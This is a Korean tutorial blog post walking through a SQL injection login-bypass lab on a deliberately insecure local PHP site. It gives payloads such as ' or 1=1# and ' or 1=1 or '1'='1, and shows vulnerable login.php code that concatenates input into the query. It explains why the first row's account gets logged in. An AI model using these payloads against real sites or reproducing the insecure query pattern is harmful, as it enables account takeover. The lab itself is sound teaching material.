&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;840&quot; data-origin-height=&quot;777&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YwUsH/btsK6tB7Bjb/Y0mOBBGk3CFx7CF7W8fBMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YwUsH/btsK6tB7Bjb/Y0mOBBGk3CFx7CF7W8fBMk/img.png&quot; data-alt=&quot;members 테이블에서 계정 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YwUsH/btsK6tB7Bjb/Y0mOBBGk3CFx7CF7W8fBMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYwUsH%2FbtsK6tB7Bjb%2FY0mOBBGk3CFx7CF7W8fBMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;840&quot; height=&quot;777&quot; data-origin-width=&quot;840&quot; data-origin-height=&quot;777&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;members 테이블에서 계정 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전 실습에서 select * from member where id='&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;' or 1=1#&lt;/b&gt;&lt;/span&gt;' and password=' '; 입력한 것과,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from members where 1=1; 입력한 것이 동일한 결과를 나타내게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 현재 admin 계정만 존재하기 때문에 id에 아무 값이 없어도 SQL 쿼리가 참이되면 admin 계정으로 로그인 된 것으로 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 다른 계정을 추가하게 되면 어떤 계정으로 로그인 하게 될까?&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;968&quot; data-origin-height=&quot;896&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biDgOU/btsK4JUe0MB/rGHzJEEyjecdZipLZrd7v1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biDgOU/btsK4JUe0MB/rGHzJEEyjecdZipLZrd7v1/img.png&quot; data-alt=&quot;test 계정 생성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biDgOU/btsK4JUe0MB/rGHzJEEyjecdZipLZrd7v1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiDgOU%2FbtsK4JUe0MB%2FrGHzJEEyjecdZipLZrd7v1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;968&quot; height=&quot;896&quot; data-origin-width=&quot;968&quot; data-origin-height=&quot;896&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;test 계정 생성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test 계정을 생성 후 다시 ID에 계정을 입력하지 않고, 터미네이팅 방식 사용하여 SQL Injection을 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ID에 ' or 1=1# 입력, Password에 임의의 문자 입력 후 로그인 하면 다시 admin 계정으로 로그인 하게 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;973&quot; data-origin-height=&quot;598&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buWMj1/btsK6rRXFFm/TsXDUB1P8729RrJOHrpAO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buWMj1/btsK6rRXFFm/TsXDUB1P8729RrJOHrpAO0/img.png&quot; data-alt=&quot;' or 1=1#&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buWMj1/btsK6rRXFFm/TsXDUB1P8729RrJOHrpAO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuWMj1%2FbtsK6rRXFFm%2FTsXDUB1P8729RrJOHrpAO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;973&quot; height=&quot;598&quot; data-origin-width=&quot;973&quot; data-origin-height=&quot;598&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;' or 1=1#&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;975&quot; data-origin-height=&quot;742&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4Ek6Z/btsK4MDoCYi/JT5Hk2GWdKGcKXbScWlQn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4Ek6Z/btsK4MDoCYi/JT5Hk2GWdKGcKXbScWlQn0/img.png&quot; data-alt=&quot;MyPage 눌러서 현재 로그인한 계정 정보 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4Ek6Z/btsK4MDoCYi/JT5Hk2GWdKGcKXbScWlQn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4Ek6Z%2FbtsK4MDoCYi%2FJT5Hk2GWdKGcKXbScWlQn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;975&quot; height=&quot;742&quot; data-origin-width=&quot;975&quot; data-origin-height=&quot;742&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;MyPage 눌러서 현재 로그인한 계정 정보 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 MySQL에서 select * from members where 1=1; 입력하여 members 테이블에서 계정 정보를 출력한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;796&quot; data-origin-height=&quot;264&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biaRYb/btsK5uILiW7/8UBHmzbcfS24K1HLGQ8jB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biaRYb/btsK5uILiW7/8UBHmzbcfS24K1HLGQ8jB1/img.png&quot; data-alt=&quot;members 테이블에서 계정 정보 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biaRYb/btsK5uILiW7/8UBHmzbcfS24K1HLGQ8jB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiaRYb%2FbtsK5uILiW7%2F8UBHmzbcfS24K1HLGQ8jB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;796&quot; height=&quot;264&quot; data-origin-width=&quot;796&quot; data-origin-height=&quot;264&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;members 테이블에서 계정 정보 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계정 정보를 출력하면 idx=1에는 admin, idx=2에는 test 계정이 존재하는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ID 정보를 알고 있는 경우 SQL Injection을 하면, ID를 admin으로 타겟팅한 상태로 시도하기 때문에 당연히 admin으로 로그인 되지만, ID를 모르는 상태로 SQL Inejction을 하면 모든 레코드가 참이된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실습에서 사용했던 SQL 쿼리를 동일하게 사용하여 레코드를 출력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from members where idx='&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;' o&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;r 1&lt;/span&gt;=1 or '1'='1&lt;/b&gt;&lt;/span&gt;' and password='';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin과 test 계정이 출력되는 것을 확인되며, 최상단 레코드 계정이 admin인 것이 확인된다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;근데 왜 admin으로만 로그인 될까?&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;789&quot; data-origin-height=&quot;417&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IxfEl/btsK5PspWKF/9x3TA3WoKerV4DcMssGXsk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IxfEl/btsK5PspWKF/9x3TA3WoKerV4DcMssGXsk/img.png&quot; data-alt=&quot;실습 SQL 쿼리로 members 테이블에서 계정 정보 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IxfEl/btsK5PspWKF/9x3TA3WoKerV4DcMssGXsk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIxfEl%2FbtsK5PspWKF%2F9x3TA3WoKerV4DcMssGXsk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;789&quot; height=&quot;417&quot; data-origin-width=&quot;789&quot; data-origin-height=&quot;417&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;실습 SQL 쿼리로 members 테이블에서 계정 정보 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;좀 더 자세히 분석하기 위해 소스코드를 확인한다. (login.php 열기)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;파일 위치: C:\APM_Setup\htdocs\insecure_website&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;lt; login.php 소스코드 일부&amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1733236139825&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
  $db_conn = mysql_conn();
  
  if(!empty($_SESSION[&quot;id&quot;])) {
    echo &quot;&amp;lt;script&amp;gt;location.href='index.php';&amp;lt;/script&amp;gt;&quot;;
    exit();
  }

  $id = $_POST[&quot;id&quot;];
  $password = $_POST[&quot;password&quot;];
  
  if(!empty($id) &amp;amp;&amp;amp; !empty($password)) {
    $password = md5($password);
    $query = &quot;select * from members where id='{$id}' and password='{$password}'&quot;;
    $result = $db_conn-&amp;gt;query($query);
    $num = $result-&amp;gt;num_rows;

    if($num != 0) {
      $row = $result-&amp;gt;fetch_assoc();
      $_SESSION[&quot;id&quot;] = $row[&quot;id&quot;];
      $_SESSION[&quot;name&quot;] = $row[&quot;name&quot;];
      echo &quot;&amp;lt;script&amp;gt;location.href='index.php';&amp;lt;/script&amp;gt;&quot;;
    } else {
      echo &quot;&amp;lt;script&amp;gt;alert('아이디 혹은 패스워드가 틀렸습니다.');location.href='index.php?page=login';&amp;lt;/script&amp;gt;&quot;;
      exit();
    }
  }
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;$row = $result-&amp;gt;fetch_assoc();&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;$_SESSION[&quot;id&quot;] = $row[&quot;id&quot;];&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;$_SESSION[&quot;name&quot;] = $row[&quot;name&quot;];&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;num_rows()&amp;nbsp;-&amp;nbsp;레코드 개수를&amp;nbsp;반환 &lt;br /&gt;fetch_assoc()&amp;nbsp;-&amp;nbsp;반환된&amp;nbsp;결과를&amp;nbsp;배열에&amp;nbsp;저장&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;소스코드를 보면 fetch_assoc()로 결과를 받아온 후 row에 저장한다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 최상위 레코드(admin)를 받아서 각 SESSION 값에 넣는다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그러므로 아래 쿼리가 수행되면 최상위 레코드에 있는 계정으로 로그인 된다는 의미이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select * from members where idx='&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;' o&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;r 1&lt;/span&gt;=1 or '1'='1&lt;/b&gt;&lt;/span&gt;' and password='';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 test가 상위 레코드에 있는 경우, admin이 아닌 test 계정으로 로그인 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;delete from members;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; members 테이블 삭제한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;619&quot; data-origin-height=&quot;126&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQPn3T/btsK6M2Abtx/qrQVnNlk2CEvL66s98Dk7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQPn3T/btsK6M2Abtx/qrQVnNlk2CEvL66s98Dk7k/img.png&quot; data-alt=&quot;members 테이블 삭제&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQPn3T/btsK6M2Abtx/qrQVnNlk2CEvL66s98Dk7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQPn3T%2FbtsK6M2Abtx%2FqrQVnNlk2CEvL66s98Dk7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;619&quot; height=&quot;126&quot; data-origin-width=&quot;619&quot; data-origin-height=&quot;126&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;members 테이블 삭제&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test 계정을 먼저 생성 후, admin 계정을 생성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;973&quot; data-origin-height=&quot;895&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vFyzw/btsK53xcPku/32Xl5bxg6nUDp8Zil1KGAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vFyzw/btsK53xcPku/32Xl5bxg6nUDp8Zil1KGAK/img.png&quot; data-alt=&quot;test 계정 생성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vFyzw/btsK53xcPku/32Xl5bxg6nUDp8Zil1KGAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvFyzw%2FbtsK53xcPku%2F32Xl5bxg6nUDp8Zil1KGAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;973&quot; height=&quot;895&quot; data-origin-width=&quot;973&quot; data-origin-height=&quot;895&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;test 계정 생성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;888&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bK4MXp/btsK59jU2w5/pMccA8UmPS9seFT69kPKkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bK4MXp/btsK59jU2w5/pMccA8UmPS9seFT69kPKkk/img.png&quot; data-alt=&quot;admin 계정 생성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bK4MXp/btsK59jU2w5/pMccA8UmPS9seFT69kPKkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbK4MXp%2FbtsK59jU2w5%2FpMccA8UmPS9seFT69kPKkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;929&quot; height=&quot;888&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;888&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;admin 계정 생성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL에서 확인 시 2개 계정 모두 생성된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from members;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;743&quot; data-origin-height=&quot;172&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/odHE5/btsK6tPGIRp/ElT3gtPc6u5WhVXrHPiFTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/odHE5/btsK6tPGIRp/ElT3gtPc6u5WhVXrHPiFTK/img.png&quot; data-alt=&quot;member 테이블 조회&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/odHE5/btsK6tPGIRp/ElT3gtPc6u5WhVXrHPiFTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FodHE5%2FbtsK6tPGIRp%2FElT3gtPc6u5WhVXrHPiFTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;743&quot; height=&quot;172&quot; data-origin-width=&quot;743&quot; data-origin-height=&quot;172&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;member 테이블 조회&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from members where idx='&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;' or 1=1 or '1'='1&lt;/b&gt;&lt;/span&gt;' and password=''; 입력 시 test 계정이 최상위에 있는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;743&quot; data-origin-height=&quot;171&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Wx70u/btsK6baU0wI/qp4ACkK3szmxl4H9aNl7B0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Wx70u/btsK6baU0wI/qp4ACkK3szmxl4H9aNl7B0/img.png&quot; data-alt=&quot;SQL Injection 쿼리로 조회&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Wx70u/btsK6baU0wI/qp4ACkK3szmxl4H9aNl7B0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWx70u%2FbtsK6baU0wI%2Fqp4ACkK3szmxl4H9aNl7B0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;743&quot; height=&quot;171&quot; data-origin-width=&quot;743&quot; data-origin-height=&quot;171&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;SQL Injection 쿼리로 조회&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;login.php 소스코드에 의해 이전에 작성한 SQL Injection 쿼리 실행 시 최상위 레코드의 계정으로 로그인되어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 페이지에서 SQL 쿼리를 실행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ID에 ' or 1=1 or '1'='1 입력, Password에 임의의 문자열 입력 후 로그인 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;969&quot; data-origin-height=&quot;584&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgdETS/btsK501Banm/MODZFrCwy29bsQPEvjD2ok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgdETS/btsK501Banm/MODZFrCwy29bsQPEvjD2ok/img.png&quot; data-alt=&quot;' or 1=1 or '1'='1&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgdETS/btsK501Banm/MODZFrCwy29bsQPEvjD2ok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgdETS%2FbtsK501Banm%2FMODZFrCwy29bsQPEvjD2ok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;969&quot; height=&quot;584&quot; data-origin-width=&quot;969&quot; data-origin-height=&quot;584&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;' or 1=1 or '1'='1&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 후 MyPage를 확인하면 test 계정으로 접속된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;972&quot; data-origin-height=&quot;751&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjfOBF/btsK5CmyqBp/wEW2g44Wo0JC0KFGsQiN21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjfOBF/btsK5CmyqBp/wEW2g44Wo0JC0KFGsQiN21/img.png&quot; data-alt=&quot;test 계정 로그인 후 MyPage&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjfOBF/btsK5CmyqBp/wEW2g44Wo0JC0KFGsQiN21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjfOBF%2FbtsK5CmyqBp%2FwEW2g44Wo0JC0KFGsQiN21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;972&quot; height=&quot;751&quot; data-origin-width=&quot;972&quot; data-origin-height=&quot;751&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;test 계정 로그인 후 MyPage&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ID 칸에는 SQL Injection이 발생하지만, Password 칸에는 취약점이 발생하지 않는 이유는 Password가 MD5 해시함수를 적용하여 암호화 되었기 때문이다. &amp;rarr; $password = md5($password);&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러므로 비밀번호에 싱글쿼터를 삽입해도 MD5 해시값으로 바뀌게되므로 SQL Injection 이 발생하지 않는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;760&quot; data-origin-height=&quot;144&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVRrOx/btsK6AuwwMJ/6wv5WTWfhKD6QcZ7QBOHx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVRrOx/btsK6AuwwMJ/6wv5WTWfhKD6QcZ7QBOHx0/img.png&quot; data-alt=&quot;해시함수가 적용된 패스워드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVRrOx/btsK6AuwwMJ/6wv5WTWfhKD6QcZ7QBOHx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVRrOx%2FbtsK6AuwwMJ%2F6wv5WTWfhKD6QcZ7QBOHx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;760&quot; height=&quot;144&quot; data-origin-width=&quot;760&quot; 